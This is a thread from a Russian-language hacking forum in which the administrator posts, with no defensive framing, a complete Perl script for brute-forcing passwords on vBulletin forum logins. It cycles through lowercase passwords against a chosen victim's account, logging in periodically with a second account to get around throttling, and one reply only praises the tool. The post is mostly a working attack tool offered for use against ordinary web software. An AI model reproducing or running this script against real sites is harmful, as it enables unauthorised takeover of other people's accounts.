vBulletin brute forcer - Фрикинг - Хакинг и фрикинг - Наш форум - обо всём
Среда, 10.03.2010, 05:04Главная | Регистрация | Вход

Вы вошли как:

Гость
Зарегистрируйтесь пожалуйста
Если зарегистрированы, войдите на сайт с помощью этой формы:

E-mail:
Пароль:

Меню сайта

Анонс

Внимание!!!
На форуме проводится набор пользователей в закрытый раздел.
Правила читаем ТуТ

Баннеры.
Будем признательны если вы на своём сайте\блоге разместите наш баннер:
Коды баннеров>>

Посоветовать другу
Посоветуйте сайт своему другу используя форму:

Статистика

Счетчик тИЦ и PR. Для анализа сайта в поисковых системах кликните на счетчике!

Музыка

Наш форум - обо всёмНаш форум - обо всём
Некоротые разделы не видны для незарегестрированных пользователей. Регистрация

Страница 1 из 11
Модератор форума: Black 
Наш форум - обо всём » Хакинг и фрикинг » Фрикинг » vBulletin brute forcer (Бруттер булки)
vBulletin brute forcer
grishkaДата: Четверг, 03.07.2008, 01:54 | Сообщение # 1
Admin
Группа: Администраторы
Дата регистрации: 01.12.2007 17:56
Сообщений: 772
Статус: Offline
Code
#!/usr/bin/perl

use IO::Socket;
use LWP::UserAgent;
use HTTP::Cookies;
use Time::HiRes qw(gettimeofday);

$host = $ARGV[0];
$usern = $ARGV[1];
$passw = $ARGV[2];
$uname = $ARGV[3];
$url = "http://".$host;
$alpha = "abcdefghijklmnopqrstuvwxyz"; #charset
$charcount = 24; #number of chars in $alpha
$dbgtmr = "1"; #Intervall of showing the current speed + lastpassword in seconds.
$count = 0;
$logins = 0;
$minchars = 1; #min chars
$maxchars = 10; #max chars

print q(
##################################################  #########
#                vBulletin brute forcer                   #
#              http://www.unnamedone.com                  #
#               brian_denys@hotmail.com                   #
#                  09 - April - 2008                      #
################## Coded By UnnamedOne ####################
);

if (@ARGV < 4)
{
    print " #  I am not responsible for anything that you do with this!\n";
    print " #  This has been tested on vBulletin 3.6.8 and 3.7.0!\n";
    print " #  usage : vbrute.pl [host & path] [user] [pass] [target]\n";
    print " #  E.g : vbrute.pl www.milw0rm.com/vBulletin3.6.8/ UnnamedOne MyPass str0ke\n";
    exit();
}

fakelogin();
for(my $t=$minchars;$t<=$maxchars;$t++)
{
    crack($t);
}

sub fakelogin {
    $xplr = LWP::UserAgent->new() or die;
    $cookie_jarr = HTTP::Cookies->new();
    $xplr->cookie_jar( $cookie_jarr );
    $resr = $xplr->post($url.'login.php?do=login',
    Content => [
    "vb_login_username"   => "$usern",
    "vb_login_password"   => "$passw",
    "do"      => "login",
    ],);
    if($cookie_jarr->as_string =~ /IDstack=(.*?);/) {
       #Do nothing..
    }
    else
    {
       #print $cookie_jarr->as_string;
       print "Forum not vulnerable or wrong username / password.\n";
       exit();
    }
}

sub crack {
    $xpl = LWP::UserAgent->new() or die;
    $cookie_jar = HTTP::Cookies->new();
    $CharSet = shift;
    @RawString = ();
    for (my $i =0;$i<$CharSet;$i++) {
       $RawString[i] = 0;
    }
    $Start = gettimeofday();
    do {
       for (my $i =0;$i<$CharSet;$i++)
       {
          if ($RawString[$i] > length($alpha)-1) {
             if ($i==$CharSet-1) {
                $cnt = 0;
                return false;
             }
             $RawString[$i+1]++;
             $RawString[$i]=0;
          }
       }
       $ret = "";
       for (my $i =0;$i<$CharSet;$i++) {
          $ret = $ret . substr($alpha,$RawString[$i],1);
       }
       $count++;
       if($count == 4) {
          fakelogin();
          $count = 0;
       }
       $xpl->cookie_jar( $cookie_jar );
       $res = $xpl->post($url.'login.php?do=login',
       Content => [
       "vb_login_username"   => "$uname",
       "vb_login_password"   => "$ret",
       "do"      => "login",
       ],);
       $cnt++;
       $Stop = gettimeofday();
       if ($Stop-$Start>$dbgtmr) {
          $cnt = int($cnt/$dbgtmr);
          $Start = gettimeofday();
       }
       $logins++;
       system("clear");
       $pro = ($logins / ($charcount * $maxchars));
       print "Current password: $ret\n";
       print "Login attempts: $logins\n";
       print "Cracking speed: $cnt passwords/sec\n";
       print "$pro% finished.\n";
       $cnt = 0;
       if($cookie_jar->as_string =~ /IDstack=(.*?);/) {
          print "Password cracked! => $ret\n";
          exit();

       }
       $RawString[0]++;
    }while($RawString[$CharSet-1]<length($alpha));
}


ЧЕЛСИ вперёд!
Не пишите админу на мыло, он не ответит...
ЖЖ - http://gr1shka.livejournal.com/





 
demo8888Дата: Суббота, 13.06.2009, 17:22 | Сообщение # 2
Пользователь
Группа: Пользователи
Дата регистрации: 10.01.2009 20:53
Сообщений: 36
Статус: Offline
а булочки то свеженькие

Добавлено (13.06.2009, 17:22)
---------------------------------------------
да уж
с пылу с жара
ТЕПЛЕНЬКИЕ ёптить

 
Наш форум - обо всём » Хакинг и фрикинг » Фрикинг » vBulletin brute forcer (Бруттер булки)
Страница 1 из 11
Поиск:
Copyright grishka © 2010 | Хостинг от uCoz